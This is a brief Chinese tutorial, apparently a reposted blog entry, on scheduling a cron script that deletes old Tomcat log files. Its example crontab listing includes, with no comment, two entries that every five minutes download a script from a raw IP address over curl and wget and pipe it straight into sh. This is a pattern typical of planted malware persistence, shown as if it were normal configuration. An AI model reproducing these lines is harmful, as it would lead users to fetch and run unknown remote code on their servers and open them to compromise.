linux下定时清理日志任务

1.创建定时清除日志脚本(/usr/local目录下)

mkdir scriptTask  创建脚本文件夹,存放所有的脚本

在scriptTask 目录下创建脚本

find 对应目录 -mtime +天数 -name "文件名" -exec rm -rf {} \;

vi cleanlog.sh

0 */1 * * * echo "Have a break now." >> /usr/local/scriptTask/logs/test.txt     每一个小时往test.txt中插入一条数据,主要用于测试是否执行该脚本。  

find /usr/local/tomcat/logs/ -mtime +1 -name "*log*" -exec rm -f {} \;

保存退出

2.给脚本添加执行权限

chmod a+x /usr/local/scriptTask/clean*.sh

3.将脚本添加到定时任务中

vim /var/spool/cron/root

5 0 * * *  /usr/local/scriptTask/cleanlog.sh    每天凌晨12点05分执行

4.查看定时任务

crontab -l  

 */5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh | sh
*/5 * * * * wget -q -O- http://218.248.40.228:8443/i.sh | sh
5 0 * * *  /usr/local/scriptTask/cleanlog.sh 

猜你喜欢

转载自blog.csdn.net/qq_39291929/article/details/79054452